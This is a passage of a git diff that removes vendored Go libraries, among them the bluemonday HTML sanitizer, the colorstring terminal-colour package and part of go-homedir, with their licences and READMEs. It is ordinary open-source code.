p.setOfElementsAllowedWithoutAttrs["marquee"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["nav"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["ol"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["optgroup"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["option"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["p"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["pre"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["q"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["rp"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["rt"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["ruby"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["s"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["samp"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["script"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["section"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["select"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["small"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["span"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["strike"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["strong"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["style"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["sub"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["summary"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["sup"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["svg"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["table"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["tbody"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["td"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["textarea"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["tfoot"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["th"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["thead"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["title"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["time"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["tr"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["tt"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["u"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["ul"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["var"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["video"] = struct{}{} - p.setOfElementsAllowedWithoutAttrs["wbr"] = struct{}{} - -} - -// addDefaultSkipElementContent adds the HTML elements that we should skip -// rendering the character content of, if the element itself is not allowed. -// This is all character data that the end user would not normally see. -// i.e. if we exclude a tag. -func (p *Policy) addDefaultSkipElementContent() { - p.init() - - p.setOfElementsToSkipContent["frame"] = struct{}{} - p.setOfElementsToSkipContent["frameset"] = struct{}{} - p.setOfElementsToSkipContent["iframe"] = struct{}{} - p.setOfElementsToSkipContent["noembed"] = struct{}{} - p.setOfElementsToSkipContent["noframes"] = struct{}{} - p.setOfElementsToSkipContent["noscript"] = struct{}{} - p.setOfElementsToSkipContent["nostyle"] = struct{}{} - p.setOfElementsToSkipContent["object"] = struct{}{} - p.setOfElementsToSkipContent["script"] = struct{}{} - p.setOfElementsToSkipContent["style"] = struct{}{} - p.setOfElementsToSkipContent["title"] = struct{}{} -} diff --git a/vendor/github.com/microcosm-cc/bluemonday/sanitize.go b/vendor/github.com/microcosm-cc/bluemonday/sanitize.go deleted file mode 100644 index 65ed89b79d..0000000000 --- a/vendor/github.com/microcosm-cc/bluemonday/sanitize.go +++ /dev/null @@ -1,581 +0,0 @@ -// Copyright (c) 2014, David Kitchen -// -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this -// list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of the organisation (Microcosm) nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package bluemonday - -import ( - "bytes" - "io" - "net/url" - "regexp" - "strings" - - "golang.org/x/net/html" -) - -var ( - dataAttribute = regexp.MustCompile("^data-.+") - dataAttributeXMLPrefix = regexp.MustCompile("^xml.+") - dataAttributeInvalidChars = regexp.MustCompile("[A-Z;]+") -) - -// Sanitize takes a string that contains a HTML fragment or document and applies -// the given policy whitelist. -// -// It returns a HTML string that has been sanitized by the policy or an empty -// string if an error has occurred (most likely as a consequence of extremely -// malformed input) -func (p *Policy) Sanitize(s string) string { - if strings.TrimSpace(s) == "" { - return s - } - - return p.sanitize(strings.NewReader(s)).String() -} - -// SanitizeBytes takes a []byte that contains a HTML fragment or document and applies -// the given policy whitelist. -// -// It returns a []byte containing the HTML that has been sanitized by the policy -// or an empty []byte if an error has occurred (most likely as a consequence of -// extremely malformed input) -func (p *Policy) SanitizeBytes(b []byte) []byte { - if len(bytes.TrimSpace(b)) == 0 { - return b - } - - return p.sanitize(bytes.NewReader(b)).Bytes() -} - -// SanitizeReader takes an io.Reader that contains a HTML fragment or document -// and applies the given policy whitelist. -// -// It returns a bytes.Buffer containing the HTML that has been sanitized by the -// policy. Errors during sanitization will merely return an empty result. -func (p *Policy) SanitizeReader(r io.Reader) *bytes.Buffer { - return p.sanitize(r) -} - -// Performs the actual sanitization process. -func (p *Policy) sanitize(r io.Reader) *bytes.Buffer { - - // It is possible that the developer has created the policy via: - // p := bluemonday.Policy{} - // rather than: - // p := bluemonday.NewPolicy() - // If this is the case, and if they haven't yet triggered an action that - // would initiliaze the maps, then we need to do that. - p.init() - - var ( - buff bytes.Buffer - skipElementContent bool - skippingElementsCount int64 - skipClosingTag bool - closingTagToSkipStack []string - mostRecentlyStartedToken string - ) - - tokenizer := html.NewTokenizer(r) - for { - if tokenizer.Next() == html.ErrorToken { - err := tokenizer.Err() - if err == io.EOF { - // End of input means end of processing - return &buff - } - - // Raw tokenizer error - return &bytes.Buffer{} - } - - token := tokenizer.Token() - switch token.Type { - case html.DoctypeToken: - - // DocType is not handled as there is no safe parsing mechanism - // provided by golang.org/x/net/html for the content, and this can - // be misused to insert HTML tags that are not then sanitized - // - // One might wish to recursively sanitize here using the same policy - // but I will need to do some further testing before considering - // this. - - case html.CommentToken: - - // Comments are ignored by default - - case html.StartTagToken: - - mostRecentlyStartedToken = token.Data - - aps, ok := p.elsAndAttrs[token.Data] - if !ok { - if _, ok := p.setOfElementsToSkipContent[token.Data]; ok { - skipElementContent = true - skippingElementsCount++ - } - if p.addSpaces { - buff.WriteString(" ") - } - break - } - - if len(token.Attr) != 0 { - token.Attr = p.sanitizeAttrs(token.Data, token.Attr, aps) - } - - if len(token.Attr) == 0 { - if !p.allowNoAttrs(token.Data) { - skipClosingTag = true - closingTagToSkipStack = append(closingTagToSkipStack, token.Data) - if p.addSpaces { - buff.WriteString(" ") - } - break - } - } - - if !skipElementContent { - buff.WriteString(token.String()) - } - - case html.EndTagToken: - - if mostRecentlyStartedToken == token.Data { - mostRecentlyStartedToken = "" - } - - if skipClosingTag && closingTagToSkipStack[len(closingTagToSkipStack)-1] == token.Data { - closingTagToSkipStack = closingTagToSkipStack[:len(closingTagToSkipStack)-1] - if len(closingTagToSkipStack) == 0 { - skipClosingTag = false - } - if p.addSpaces { - buff.WriteString(" ") - } - break - } - - if _, ok := p.elsAndAttrs[token.Data]; !ok { - if _, ok := p.setOfElementsToSkipContent[token.Data]; ok { - skippingElementsCount-- - if skippingElementsCount == 0 { - skipElementContent = false - } - } - if p.addSpaces { - buff.WriteString(" ") - } - break - } - - if !skipElementContent { - buff.WriteString(token.String()) - } - - case html.SelfClosingTagToken: - - aps, ok := p.elsAndAttrs[token.Data] - if !ok { - if p.addSpaces { - buff.WriteString(" ") - } - break - } - - if len(token.Attr) != 0 { - token.Attr = p.sanitizeAttrs(token.Data, token.Attr, aps) - } - - if len(token.Attr) == 0 && !p.allowNoAttrs(token.Data) { - if p.addSpaces { - buff.WriteString(" ") - } - break - } - - if !skipElementContent { - buff.WriteString(token.String()) - } - - case html.TextToken: - - if !skipElementContent { - switch mostRecentlyStartedToken { - case "script": - // not encouraged, but if a policy allows JavaScript we - // should not HTML escape it as that would break the output - buff.WriteString(token.Data) - case "style": - // not encouraged, but if a policy allows CSS styles we - // should not HTML escape it as that would break the output - buff.WriteString(token.Data) - default: - // HTML escape the text - buff.WriteString(token.String()) - } - } - default: - // A token that didn't exist in the html package when we wrote this - return &bytes.Buffer{} - } - } -} - -// sanitizeAttrs takes a set of element attribute policies and the global -// attribute policies and applies them to the []html.Attribute returning a set -// of html.Attributes that match the policies -func (p *Policy) sanitizeAttrs( - elementName string, - attrs []html.Attribute, - aps map[string]attrPolicy, -) []html.Attribute { - - if len(attrs) == 0 { - return attrs - } - - // Builds a new attribute slice based on the whether the attribute has been - // whitelisted explicitly or globally. - cleanAttrs := []html.Attribute{} - for _, htmlAttr := range attrs { - if p.allowDataAttributes { - // If we see a data attribute, let it through. - if isDataAttribute(htmlAttr.Key) { - cleanAttrs = append(cleanAttrs, htmlAttr) - continue - } - } - // Is there an element specific attribute policy that applies? - if ap, ok := aps[htmlAttr.Key]; ok { - if ap.regexp != nil { - if ap.regexp.MatchString(htmlAttr.Val) { - cleanAttrs = append(cleanAttrs, htmlAttr) - continue - } - } else { - cleanAttrs = append(cleanAttrs, htmlAttr) - continue - } - } - - // Is there a global attribute policy that applies? - if ap, ok := p.globalAttrs[htmlAttr.Key]; ok { - - if ap.regexp != nil { - if ap.regexp.MatchString(htmlAttr.Val) { - cleanAttrs = append(cleanAttrs, htmlAttr) - } - } else { - cleanAttrs = append(cleanAttrs, htmlAttr) - } - } - } - - if len(cleanAttrs) == 0 { - // If nothing was allowed, let's get out of here - return cleanAttrs - } - // cleanAttrs now contains the attributes that are permitted - - if linkable(elementName) { - if p.requireParseableURLs { - // Ensure URLs are parseable: - // - a.href - // - area.href - // - link.href - // - blockquote.cite - // - q.cite - // - img.src - // - script.src - tmpAttrs := []html.Attribute{} - for _, htmlAttr := range cleanAttrs { - switch elementName { - case "a", "area", "link": - if htmlAttr.Key == "href" { - if u, ok := p.validURL(htmlAttr.Val); ok { - htmlAttr.Val = u - tmpAttrs = append(tmpAttrs, htmlAttr) - } - break - } - tmpAttrs = append(tmpAttrs, htmlAttr) - case "blockquote", "q": - if htmlAttr.Key == "cite" { - if u, ok := p.validURL(htmlAttr.Val); ok { - htmlAttr.Val = u - tmpAttrs = append(tmpAttrs, htmlAttr) - } - break - } - tmpAttrs = append(tmpAttrs, htmlAttr) - case "img", "script": - if htmlAttr.Key == "src" { - if u, ok := p.validURL(htmlAttr.Val); ok { - htmlAttr.Val = u - tmpAttrs = append(tmpAttrs, htmlAttr) - } - break - } - tmpAttrs = append(tmpAttrs, htmlAttr) - default: - tmpAttrs = append(tmpAttrs, htmlAttr) - } - } - cleanAttrs = tmpAttrs - } - - if (p.requireNoFollow || - p.requireNoFollowFullyQualifiedLinks || - p.addTargetBlankToFullyQualifiedLinks) && - len(cleanAttrs) > 0 { - - // Add rel="nofollow" if a "href" exists - switch elementName { - case "a", "area", "link": - var hrefFound bool - var externalLink bool - for _, htmlAttr := range cleanAttrs { - if htmlAttr.Key == "href" { - hrefFound = true - - u, err := url.Parse(htmlAttr.Val) - if err != nil { - continue - } - if u.Host != "" { - externalLink = true - } - - continue - } - } - - if hrefFound { - var ( - noFollowFound bool - targetBlankFound bool - ) - - addNoFollow := (p.requireNoFollow || - externalLink && p.requireNoFollowFullyQualifiedLinks) - - addTargetBlank := (externalLink && - p.addTargetBlankToFullyQualifiedLinks) - - tmpAttrs := []html.Attribute{} - for _, htmlAttr := range cleanAttrs { - - var appended bool - if htmlAttr.Key == "rel" && addNoFollow { - - if strings.Contains(htmlAttr.Val, "nofollow") { - noFollowFound = true - tmpAttrs = append(tmpAttrs, htmlAttr) - appended = true - } else { - htmlAttr.Val += " nofollow" - noFollowFound = true - tmpAttrs = append(tmpAttrs, htmlAttr) - appended = true - } - } - - if elementName == "a" && htmlAttr.Key == "target" { - if htmlAttr.Val == "_blank" { - targetBlankFound = true - } - if addTargetBlank && !targetBlankFound { - htmlAttr.Val = "_blank" - targetBlankFound = true - tmpAttrs = append(tmpAttrs, htmlAttr) - appended = true - } - } - - if !appended { - tmpAttrs = append(tmpAttrs, htmlAttr) - } - } - if noFollowFound || targetBlankFound { - cleanAttrs = tmpAttrs - } - - if addNoFollow && !noFollowFound { - rel := html.Attribute{} - rel.Key = "rel" - rel.Val = "nofollow" - cleanAttrs = append(cleanAttrs, rel) - } - - if elementName == "a" && addTargetBlank && !targetBlankFound { - rel := html.Attribute{} - rel.Key = "target" - rel.Val = "_blank" - targetBlankFound = true - cleanAttrs = append(cleanAttrs, rel) - } - - if targetBlankFound { - // target="_blank" has a security risk that allows the - // opened window/tab to issue JavaScript calls against - // window.opener, which in effect allow the destination - // of the link to control the source: - // https://dev.to/ben/the-targetblank-vulnerability-by-example - // - // To mitigate this risk, we need to add a specific rel - // attribute if it is not already present. - // rel="noopener" - // - // Unfortunately this is processing the rel twice (we - // already looked at it earlier ^^) as we cannot be sure - // of the ordering of the href and rel, and whether we - // have fully satisfied that we need to do this. This - // double processing only happens *if* target="_blank" - // is true. - var noOpenerAdded bool - tmpAttrs := []html.Attribute{} - for _, htmlAttr := range cleanAttrs { - var appended bool - if htmlAttr.Key == "rel" { - if strings.Contains(htmlAttr.Val, "noopener") { - noOpenerAdded = true - tmpAttrs = append(tmpAttrs, htmlAttr) - } else { - htmlAttr.Val += " noopener" - noOpenerAdded = true - tmpAttrs = append(tmpAttrs, htmlAttr) - } - - appended = true - } - if !appended { - tmpAttrs = append(tmpAttrs, htmlAttr) - } - } - if noOpenerAdded { - cleanAttrs = tmpAttrs - } else { - // rel attr was not found, or else noopener would - // have been added already - rel := html.Attribute{} - rel.Key = "rel" - rel.Val = "noopener" - cleanAttrs = append(cleanAttrs, rel) - } - - } - } - default: - } - } - } - - return cleanAttrs -} - -func (p *Policy) allowNoAttrs(elementName string) bool { - _, ok := p.setOfElementsAllowedWithoutAttrs[elementName] - return ok -} - -func (p *Policy) validURL(rawurl string) (string, bool) { - if p.requireParseableURLs { - // URLs are valid if when space is trimmed the URL is valid - rawurl = strings.TrimSpace(rawurl) - - // URLs cannot contain whitespace, unless it is a data-uri - if (strings.Contains(rawurl, " ") || - strings.Contains(rawurl, "\t") || - strings.Contains(rawurl, "\n")) && - !strings.HasPrefix(rawurl, `data:`) { - return "", false - } - - // URLs are valid if they parse - u, err := url.Parse(rawurl) - if err != nil { - return "", false - } - - if u.Scheme != "" { - - urlPolicy, ok := p.allowURLSchemes[u.Scheme] - if !ok { - return "", false - - } - - if urlPolicy == nil || urlPolicy(u) == true { - return u.String(), true - } - - return "", false - } - - if p.allowRelativeURLs { - if u.String() != "" { - return u.String(), true - } - } - - return "", false - } - - return rawurl, true -} - -func linkable(elementName string) bool { - switch elementName { - case "a", "area", "blockquote", "img", "link", "script": - return true - default: - return false - } -} - -func isDataAttribute(val string) bool { - if !dataAttribute.MatchString(val) { - return false - } - rest := strings.Split(val, "data-") - if len(rest) == 1 { - return false - } - // data-xml* is invalid. - if dataAttributeXMLPrefix.MatchString(rest[1]) { - return false - } - // no uppercase or semi-colons allowed. - if dataAttributeInvalidChars.MatchString(rest[1]) { - return false - } - return true -} diff --git a/vendor/github.com/mitchellh/colorstring/.travis.yml b/vendor/github.com/mitchellh/colorstring/.travis.yml deleted file mode 100644 index 74e286ae12..0000000000 --- a/vendor/github.com/mitchellh/colorstring/.travis.yml +++ /dev/null @@ -1,15 +0,0 @@ -language: go - -go: - - 1.0 - - 1.1 - - 1.2 - - 1.3 - - tip - -script: - - go test - -matrix: - allow_failures: - - go: tip diff --git a/vendor/github.com/mitchellh/colorstring/LICENSE b/vendor/github.com/mitchellh/colorstring/LICENSE deleted file mode 100644 index 2298515904..0000000000 --- a/vendor/github.com/mitchellh/colorstring/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Mitchell Hashimoto - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/mitchellh/colorstring/README.md b/vendor/github.com/mitchellh/colorstring/README.md deleted file mode 100644 index 0654d454de..0000000000 --- a/vendor/github.com/mitchellh/colorstring/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# colorstring [![Build Status](https://travis-ci.org/mitchellh/colorstring.svg)](https://travis-ci.org/mitchellh/colorstring) - -colorstring is a [Go](http://www.golang.org) library for outputting colored -strings to a console using a simple inline syntax in your string to specify -the color to print as. - -For example, the string `[blue]hello [red]world` would output the text -"hello world" in two colors. The API of colorstring allows for easily disabling -colors, adding aliases, etc. - -## Installation - -Standard `go get`: - -``` -$ go get github.com/mitchellh/colorstring -``` - -## Usage & Example - -For usage and examples see the [Godoc](http://godoc.org/github.com/mitchellh/colorstring). - -Usage is easy enough: - -```go -colorstring.Println("[blue]Hello [red]World!") -``` - -Additionally, the `Colorize` struct can be used to set options such as -custom colors, color disabling, etc. diff --git a/vendor/github.com/mitchellh/colorstring/colorstring.go b/vendor/github.com/mitchellh/colorstring/colorstring.go deleted file mode 100644 index 3de5b241d9..0000000000 --- a/vendor/github.com/mitchellh/colorstring/colorstring.go +++ /dev/null @@ -1,244 +0,0 @@ -// colorstring provides functions for colorizing strings for terminal -// output. -package colorstring - -import ( - "bytes" - "fmt" - "io" - "regexp" - "strings" -) - -// Color colorizes your strings using the default settings. -// -// Strings given to Color should use the syntax `[color]` to specify the -// color for text following. For example: `[blue]Hello` will return "Hello" -// in blue. See DefaultColors for all the supported colors and attributes. -// -// If an unrecognized color is given, it is ignored and assumed to be part -// of the string. For example: `[hi]world` will result in "[hi]world". -// -// A color reset is appended to the end of every string. This will reset -// the color of following strings when you output this text to the same -// terminal session. -// -// If you want to customize any of this behavior, use the Colorize struct. -func Color(v string) string { - return def.Color(v) -} - -// ColorPrefix returns the color sequence that prefixes the given text. -// -// This is useful when wrapping text if you want to inherit the color -// of the wrapped text. For example, "[green]foo" will return "[green]". -// If there is no color sequence, then this will return "". -func ColorPrefix(v string) string { - return def.ColorPrefix(v) -} - -// Colorize colorizes your strings, giving you the ability to customize -// some of the colorization process. -// -// The options in Colorize can be set to customize colorization. If you're -// only interested in the defaults, just use the top Color function directly, -// which creates a default Colorize. -type Colorize struct { - // Colors maps a color string to the code for that color. The code - // is a string so that you can use more complex colors to set foreground, - // background, attributes, etc. For example, "boldblue" might be - // "1;34" - Colors map[string]string - - // If true, color attributes will be ignored. This is useful if you're - // outputting to a location that doesn't support colors and you just - // want the strings returned. - Disable bool - - // Reset, if true, will reset the color after each colorization by - // adding a reset code at the end. - Reset bool -} - -// Color colorizes a string according to the settings setup in the struct. -// -// For more details on the syntax, see the top-level Color function. -func (c *Colorize) Color(v string) string { - matches := parseRe.FindAllStringIndex(v, -1) - if len(matches) == 0 { - return v - } - - result := new(bytes.Buffer) - colored := false - m := []int{0, 0} - for _, nm := range matches { - // Write the text in between this match and the last - result.WriteString(v[m[1]:nm[0]]) - m = nm - - var replace string - if code, ok := c.Colors[v[m[0]+1:m[1]-1]]; ok { - colored = true - - if !c.Disable { - replace = fmt.Sprintf("\033[%sm", code) - } - } else { - replace = v[m[0]:m[1]] - } - - result.WriteString(replace) - } - result.WriteString(v[m[1]:]) - - if colored && c.Reset && !c.Disable { - // Write the clear byte at the end - result.WriteString("\033[0m") - } - - return result.String() -} - -// ColorPrefix returns the first color sequence that exists in this string. -// -// For example: "[green]foo" would return "[green]". If no color sequence -// exists, then "" is returned. This is especially useful when wrapping -// colored texts to inherit the color of the wrapped text. -func (c *Colorize) ColorPrefix(v string) string { - return prefixRe.FindString(strings.TrimSpace(v)) -} - -// DefaultColors are the default colors used when colorizing. -// -// If the color is surrounded in underscores, such as "_blue_", then that -// color will be used for the background color. -var DefaultColors map[string]string - -func init() { - DefaultColors = map[string]string{ - // Default foreground/background colors - "default": "39", - "_default_": "49", - - // Foreground colors - "black": "30", - "red": "31", - "green": "32", - "yellow": "33", - "blue": "34", - "magenta": "35", - "cyan": "36", - "light_gray": "37", - "dark_gray": "90", - "light_red": "91", - "light_green": "92", - "light_yellow": "93", - "light_blue": "94", - "light_magenta": "95", - "light_cyan": "96", - "white": "97", - - // Background colors - "_black_": "40", - "_red_": "41", - "_green_": "42", - "_yellow_": "43", - "_blue_": "44", - "_magenta_": "45", - "_cyan_": "46", - "_light_gray_": "47", - "_dark_gray_": "100", - "_light_red_": "101", - "_light_green_": "102", - "_light_yellow_": "103", - "_light_blue_": "104", - "_light_magenta_": "105", - "_light_cyan_": "106", - "_white_": "107", - - // Attributes - "bold": "1", - "dim": "2", - "underline": "4", - "blink_slow": "5", - "blink_fast": "6", - "invert": "7", - "hidden": "8", - - // Reset to reset everything to their defaults - "reset": "0", - "reset_bold": "21", - } - - def = Colorize{ - Colors: DefaultColors, - Reset: true, - } -} - -var def Colorize -var parseReRaw = `\[[a-z0-9_-]+\]` -var parseRe = regexp.MustCompile(`(?i)` + parseReRaw) -var prefixRe = regexp.MustCompile(`^(?i)(` + parseReRaw + `)+`) - -// Print is a convenience wrapper for fmt.Print with support for color codes. -// -// Print formats using the default formats for its operands and writes to -// standard output with support for color codes. Spaces are added between -// operands when neither is a string. It returns the number of bytes written -// and any write error encountered. -func Print(a string) (n int, err error) { - return fmt.Print(Color(a)) -} - -// Println is a convenience wrapper for fmt.Println with support for color -// codes. -// -// Println formats using the default formats for its operands and writes to -// standard output with support for color codes. Spaces are always added -// between operands and a newline is appended. It returns the number of bytes -// written and any write error encountered. -func Println(a string) (n int, err error) { - return fmt.Println(Color(a)) -} - -// Printf is a convenience wrapper for fmt.Printf with support for color codes. -// -// Printf formats according to a format specifier and writes to standard output -// with support for color codes. It returns the number of bytes written and any -// write error encountered. -func Printf(format string, a ...interface{}) (n int, err error) { - return fmt.Printf(Color(format), a...) -} - -// Fprint is a convenience wrapper for fmt.Fprint with support for color codes. -// -// Fprint formats using the default formats for its operands and writes to w -// with support for color codes. Spaces are added between operands when neither -// is a string. It returns the number of bytes written and any write error -// encountered. -func Fprint(w io.Writer, a string) (n int, err error) { - return fmt.Fprint(w, Color(a)) -} - -// Fprintln is a convenience wrapper for fmt.Fprintln with support for color -// codes. -// -// Fprintln formats using the default formats for its operands and writes to w -// with support for color codes. Spaces are always added between operands and a -// newline is appended. It returns the number of bytes written and any write -// error encountered. -func Fprintln(w io.Writer, a string) (n int, err error) { - return fmt.Fprintln(w, Color(a)) -} - -// Fprintf is a convenience wrapper for fmt.Fprintf with support for color -// codes. -// -// Fprintf formats according to a format specifier and writes to w with support -// for color codes. It returns the number of bytes written and any write error -// encountered. -func Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error) { - return fmt.Fprintf(w, Color(format), a...) -} diff --git a/vendor/github.com/mitchellh/go-homedir/LICENSE b/vendor/github.com/mitchellh/go-homedir/LICENSE deleted file mode 100644 index f9c841a51e..0000000000 --- a/vendor/github.com/mitchellh/go-homedir/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2013 Mitchell Hashimoto - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/mitchellh/go-homedir/README.md b/vendor/github.com/mitchellh/go-homedir/README.md deleted file mode 100644 index d70706d5b3..0000000000 --- a/vendor/github.com/mitchellh/go-homedir/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# go-homedir - -This is a Go library for detecting the user's home directory without -the use of cgo, so the library can be used in cross-compilation environments. - -Usage is incredibly simple, just call `homedir.Dir()` to get the home directory -for a user, and `homedir.Expand()` to expand the `~` in a path to the home -directory. - -**Why not just use `os/user`?** The built-in `os/user` package requires -cgo on Darwin systems. This means that any Go code that uses that package -cannot cross compile. But 99% of the time the use for `os/user` is just to -retrieve the home directory, which we can do for the current user without -cgo. This library does that, enabling cross-compilation. diff --git a/vendor/github.com/mitchellh/go-homedir/go.mod b/vendor/github.com/mitchellh/go-homedir/go.mod deleted file mode 100644 index 7efa09a043..0000000000 --- a/vendor/github.com/mitchellh/go-homedir/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/mitchellh/go-homedir diff --git a/vendor/github.com/mitchellh/go-homedir/homedir.go b/vendor/github.com/mitchellh/go-homedir/homedir.go deleted file mode 100644 index fb87bef94f..0000000000 --- a/vendor/github.com/mitchellh/go-homedir/homedir.go +++ /dev/null @@ -1,157 +0,0 @@ -package homedir - -import ( - "bytes" - "errors" - "os" - "os/exec" - "path/filepath" - "runtime" - "strconv" - "strings" - "sync" -) - -// DisableCache will disable caching of the home directory. Caching is enabled -// by default. -var DisableCache bool - -var homedirCache string -var cacheLock sync.RWMutex - -// Dir returns the home directory for the executing user. -// -// This uses an OS-specific method for discovering the home directory. -// An error is returned if a home directory cannot be detected. -func Dir() (string, error) { - if !DisableCache { - cacheLock.RLock() - cached := homedirCache - cacheLock.RUnlock() - if cached != "" { - return cached, nil - } - } - - cacheLock.Lock() - defer cacheLock.Unlock() - - var result string - var err error - if runtime.GOOS == "windows" { - result, err = dirWindows() - } else { - // Unix-like system, so just assume Unix - result, err = dirUnix() - } - - if err != nil { - return "", err - } - homedirCache = result - return result, nil -} - -// Expand expands the path to include the home directory if the path -// is prefixed with `~`. If it isn't prefixed with `~`, the path is -// returned as-is. -func Expand(path string) (string, error) { - if len(path) == 0 { - return path, nil - } - - if path[0] != '~' { - return path, nil - } - - if len(path) > 1 && path[1] != '/' && path[1] != '\\' { - return "", errors.New("cannot expand user-specific home dir") - } - - dir, err := Dir() - if err != nil { - return "", err - } - - return filepath.Join(dir, path[1:]), nil -} - -func dirUnix() (string, error) { - homeEnv := "HOME" - if runtime.GOOS == "plan9" { - // On plan9, env vars are lowercase. - homeEnv = "home" - } - - // First prefer the HOME environmental variable - if home := os.Getenv(homeEnv); home != "" { - return home, nil - } - - var stdout bytes.Buffer - - // If that fails, try OS specific commands - if runtime.GOOS == "darwin" { - cmd := exec.Command("sh", "-c", `dscl -q . -read /Users/"$(whoami)" NFSHomeDirectory | sed 's/^[^ ]*: //'`) - cmd.Stdout = &stdout - if err := cmd.Run(); err == nil { - result := strings.TrimSpace(stdout.String()) - if result != "" { - return result, nil - } - } - } else { - cmd := exec.Command("getent", "passwd", strconv.Itoa(os.Getuid())) - cmd.Stdout = &stdout - if err := cmd.Run(); err != nil { - // If the error is ErrNotFound, we ignore it. Otherwise, return it. - if err != exec.ErrNotFound { - return "", err - } - } else { - if passwd := strings.TrimSpace(stdout.String()); passwd != "" { - // 